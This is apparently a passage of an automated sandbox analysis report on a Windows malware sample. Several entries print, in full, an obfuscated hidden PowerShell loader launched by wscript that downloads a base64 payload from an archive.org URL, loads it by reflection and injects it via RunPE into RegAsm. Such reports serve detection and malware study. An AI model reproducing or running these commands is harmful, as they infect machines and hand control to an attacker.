Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ". ( ([STrInG]$vERboSEPrEfeRENCE)[1,3]+'x'-joIn'')( ('DL'+'jurl'+' ='+' FyL'+'https:'+'//ia6'+'00'+'10'+'0'+'.us.archive.org'+'/2'+'4'+'/items/de'+'tah-note-v/Det'+'a'+'hNote'+'V'+'.txt'+'FyL;DLjb'+'ase6'+'4Conten'+'t ='+' '+'('+'New-Object '+'Sys'+'tem'+'.Net.'+'We'+'bCli'+'e'+'nt'+').Do'+'w'+'n'+'lo'+'adStr'+'ing(DLj'+'url);'+'DLjb'+'ina'+'ryContent '+'= [Sys'+'tem.Convert]:'+':F'+'romBase64Str'+'in'+'g(D'+'Lj'+'ba'+'se64Content)'+';DL'+'jas'+'se'+'m'+'bly = ['+'Reflec'+'t'+'i'+'on'+'.A'+'s'+'sem'+'bl'+'y'+']'+'::L'+'o'+'ad(D'+'Ljbinar'+'yCon'+'tent'+');DLjt'+'y'+'p'+'e = DLjass'+'embly.GetT'+'ype'+'(FyLRunPE'+'.Ho'+'m'+'eFyL);DLj'+'m'+'e'+'tho'+'d = '+'DLj'+'t'+'y'+'pe'+'.'+'Ge'+'tM'+'ethod('+'FyLVAIFyL);D'+'Ljmethod'+'.In'+'voke(DL'+'jnull, [object[]]@(Fy'+'Ltxt.ilimm'+'/ved'+'.2r.39b34530'+'2a075'+'b1bc'+'0'+'d4'+'5b63'+'2eb9ee62-bup'+'//:s'+'pt'+'t'+'h'+'F'+'yL '+', FyL'+'desativad'+'oFy'+'L ,'+' F'+'yLdesativa'+'doFyL'+' , F'+'yLdes'+'ati'+'vadoF'+'y'+'L,'+'Fy'+'LRegAsmFyL,Fy'+'LFyL))').rePlACE('DLj','$').rePlACE('FyL',[StRing][CHar]39) )"			Jump to behavior

Suspicious powershell command line found

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiAoIChbU1RySW5HXSR2RVJib1NFUHJFZmVSRU5DRSlbMSwzXSsneCctam9JbicnKSggKCdETCcrJ2p1cmwnKycgPScrJyBGeUwnKydodHRwczonKycvL2lhNicrJzAwJysnMTAnKycwJysnLnVzLmFyY2hpdmUub3JnJysnLzInKyc0JysnL2l0ZW1zL2RlJysndGFoLW5vdGUtdi9EZXQnKydhJysnaE5vdGUnKydWJysnLnR4dCcrJ0Z5TDtETGpiJysnYXNlNicrJzRDb250ZW4nKyd0ID0nKycgJysnKCcrJ05ldy1PYmplY3QgJysnU3lzJysndGVtJysnLk5ldC4nKydXZScrJ2JDbGknKydlJysnbnQnKycpLkRvJysndycrJ24nKydsbycrJ2FkU3RyJysnaW5nKERMaicrJ3VybCk7JysnRExqYicrJ2luYScrJ3J5Q29udGVudCAnKyc9IFtTeXMnKyd0ZW0uQ29udmVydF06JysnOkYnKydyb21CYXNlNjRTdHInKydpbicrJ2coRCcrJ0xqJysnYmEnKydzZTY0Q29udGVudCknKyc7REwnKydqYXMnKydzZScrJ20nKydibHkgPSBbJysnUmVmbGVjJysndCcrJ2knKydvbicrJy5BJysncycrJ3NlbScrJ2JsJysneScrJ10nKyc6OkwnKydvJysnYWQoRCcrJ0xqYmluYXInKyd5Q29uJysndGVudCcrJyk7RExqdCcrJ3knKydwJysnZSA9IERMamFzcycrJ2VtYmx5LkdldFQnKyd5cGUnKycoRnlMUnVuUEUnKycuSG8nKydtJysnZUZ5TCk7RExqJysnbScrJ2UnKyd0aG8nKydkID0gJysnRExqJysndCcrJ3knKydwZScrJy4nKydHZScrJ3RNJysnZXRob2QoJysnRnlMVkFJRnlMKTtEJysnTGptZXRob2QnKycuSW4nKyd2b2tlKERMJysnam51bGwsIFtvYmplY3RbXV1AKEZ5JysnTHR4dC5pbGltbScrJy92ZWQnKycuMnIuMzliMzQ1MzAnKycyYTA3NScrJ2IxYmMnKycwJysnZDQnKyc1YjYzJysnMmViOWVlNjItYnVwJysnLy86cycrJ3B0JysndCcrJ2gnKydGJysneUwgJysnLCBGeUwnKydkZXNhdGl2YWQnKydvRnknKydMICwnKycgRicrJ3lMZGVzYXRpdmEnKydkb0Z5TCcrJyAsIEYnKyd5TGRlcycrJ2F0aScrJ3ZhZG9GJysneScrJ0wsJysnRnknKydMUmVnQXNtRnlMLEZ5JysnTEZ5TCkpJykucmVQbEFDRSgnRExqJywnJCcpLnJlUGxBQ0UoJ0Z5TCcsW1N0UmluZ11bQ0hhcl0zOSkgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ". ( ([STrInG]$vERboSEPrEfeRENCE)[1,3]+'x'-joIn'')( ('DL'+'jurl'+' ='+' FyL'+'https:'+'//ia6'+'00'+'10'+'0'+'.us.archive.org'+'/2'+'4'+'/items/de'+'tah-note-v/Det'+'a'+'hNote'+'V'+'.txt'+'FyL;DLjb'+'ase6'+'4Conten'+'t ='+' '+'('+'New-Object '+'Sys'+'tem'+'.Net.'+'We'+'bCli'+'e'+'nt'+').Do'+'w'+'n'+'lo'+'adStr'+'ing(DLj'+'url);'+'DLjb'+'ina'+'ryContent '+'= [Sys'+'tem.Convert]:'+':F'+'romBase64Str'+'in'+'g(D'+'Lj'+'ba'+'se64Content)'+';DL'+'jas'+'se'+'m'+'bly = ['+'Reflec'+'t'+'i'+'on'+'.A'+'s'+'sem'+'bl'+'y'+']'+'::L'+'o'+'ad(D'+'Ljbinar'+'yCon'+'tent'+');DLjt'+'y'+'p'+'e = DLjass'+'embly.GetT'+'ype'+'(FyLRunPE'+'.Ho'+'m'+'eFyL);DLj'+'m'+'e'+'tho'+'d = '+'DLj'+'t'+'y'+'pe'+'.'+'Ge'+'tM'+'ethod('+'FyLVAIFyL);D'+'Ljmethod'+'.In'+'voke(DL'+'jnull, [object[]]@(Fy'+'Ltxt.ilimm'+'/ved'+'.2r.39b34530'+'2a075'+'b1bc'+'0'+'d4'+'5b63'+'2eb9ee62-bup'+'//:s'+'pt'+'t'+'h'+'F'+'yL '+', FyL'+'desativad'+'oFy'+'L ,'+' F'+'yLdesativa'+'doFyL'+' , F'+'yLdes'+'ati'+'vadoF'+'y'+'L,'+'Fy'+'LRegAsmFyL,Fy'+'LFyL))').rePlACE('DLj','$').rePlACE('FyL',[StRing][CHar]39) )"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiAoIChbU1RySW5HXSR2RVJib1NFUHJFZmVSRU5DRSlbMSwzXSsneCctam9JbicnKSggKCdETCcrJ2p1cmwnKycgPScrJyBGeUwnKydodHRwczonKycvL2lhNicrJzAwJysnMTAnKycwJysnLnVzLmFyY2hpdmUub3JnJysnLzInKyc0JysnL2l0ZW1zL2RlJysndGFoLW5vdGUtdi9EZXQnKydhJysnaE5vdGUnKydWJysnLnR4dCcrJ0Z5TDtETGpiJysnYXNlNicrJzRDb250ZW4nKyd0ID0nKycgJysnKCcrJ05ldy1PYmplY3QgJysnU3lzJysndGVtJysnLk5ldC4nKydXZScrJ2JDbGknKydlJysnbnQnKycpLkRvJysndycrJ24nKydsbycrJ2FkU3RyJysnaW5nKERMaicrJ3VybCk7JysnRExqYicrJ2luYScrJ3J5Q29udGVudCAnKyc9IFtTeXMnKyd0ZW0uQ29udmVydF06JysnOkYnKydyb21CYXNlNjRTdHInKydpbicrJ2coRCcrJ0xqJysnYmEnKydzZTY0Q29udGVudCknKyc7REwnKydqYXMnKydzZScrJ20nKydibHkgPSBbJysnUmVmbGVjJysndCcrJ2knKydvbicrJy5BJysncycrJ3NlbScrJ2JsJysneScrJ10nKyc6OkwnKydvJysnYWQoRCcrJ0xqYmluYXInKyd5Q29uJysndGVudCcrJyk7RExqdCcrJ3knKydwJysnZSA9IERMamFzcycrJ2VtYmx5LkdldFQnKyd5cGUnKycoRnlMUnVuUEUnKycuSG8nKydtJysnZUZ5TCk7RExqJysnbScrJ2UnKyd0aG8nKydkID0gJysnRExqJysndCcrJ3knKydwZScrJy4nKydHZScrJ3RNJysnZXRob2QoJysnRnlMVkFJRnlMKTtEJysnTGptZXRob2QnKycuSW4nKyd2b2tlKERMJysnam51bGwsIFtvYmplY3RbXV1AKEZ5JysnTHR4dC5pbGltbScrJy92ZWQnKycuMnIuMzliMzQ1MzAnKycyYTA3NScrJ2IxYmMnKycwJysnZDQnKyc1YjYzJysnMmViOWVlNjItYnVwJysnLy86cycrJ3B0JysndCcrJ2gnKydGJysneUwgJysnLCBGeUwnKydkZXNhdGl2YWQnKydvRnknKydMICwnKycgRicrJ3lMZGVzYXRpdmEnKydkb0Z5TCcrJyAsIEYnKyd5TGRlcycrJ2F0aScrJ3ZhZG9GJysneScrJ0wsJysnRnknKydMUmVnQXNtRnlMLEZ5JysnTEZ5TCkpJykucmVQbEFDRSgnRExqJywnJCcpLnJlUGxBQ0UoJ0Z5TCcsW1N0UmluZ11bQ0hhcl0zOSkgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ". ( ([STrInG]$vERboSEPrEfeRENCE)[1,3]+'x'-joIn'')( ('DL'+'jurl'+' ='+' FyL'+'https:'+'//ia6'+'00'+'10'+'0'+'.us.archive.org'+'/2'+'4'+'/items/de'+'tah-note-v/Det'+'a'+'hNote'+'V'+'.txt'+'FyL;DLjb'+'ase6'+'4Conten'+'t ='+' '+'('+'New-Object '+'Sys'+'tem'+'.Net.'+'We'+'bCli'+'e'+'nt'+').Do'+'w'+'n'+'lo'+'adStr'+'ing(DLj'+'url);'+'DLjb'+'ina'+'ryContent '+'= [Sys'+'tem.Convert]:'+':F'+'romBase64Str'+'in'+'g(D'+'Lj'+'ba'+'se64Content)'+';DL'+'jas'+'se'+'m'+'bly = ['+'Reflec'+'t'+'i'+'on'+'.A'+'s'+'sem'+'bl'+'y'+']'+'::L'+'o'+'ad(D'+'Ljbinar'+'yCon'+'tent'+');DLjt'+'y'+'p'+'e = DLjass'+'embly.GetT'+'ype'+'(FyLRunPE'+'.Ho'+'m'+'eFyL);DLj'+'m'+'e'+'tho'+'d = '+'DLj'+'t'+'y'+'pe'+'.'+'Ge'+'tM'+'ethod('+'FyLVAIFyL);D'+'Ljmethod'+'.In'+'voke(DL'+'jnull, [object[]]@(Fy'+'Ltxt.ilimm'+'/ved'+'.2r.39b34530'+'2a075'+'b1bc'+'0'+'d4'+'5b63'+'2eb9ee62-bup'+'//:s'+'pt'+'t'+'h'+'F'+'yL '+', FyL'+'desativad'+'oFy'+'L ,'+' F'+'yLdesativa'+'doFyL'+' , F'+'yLdes'+'ati'+'vadoF'+'y'+'L,'+'Fy'+'LRegAsmFyL,Fy'+'LFyL))').rePlACE('DLj','$').rePlACE('FyL',[StRing][CHar]39) )"	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 4_2_00007FFB4B386BC0 push ss; retf

4_2_00007FFB4B386BC7

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
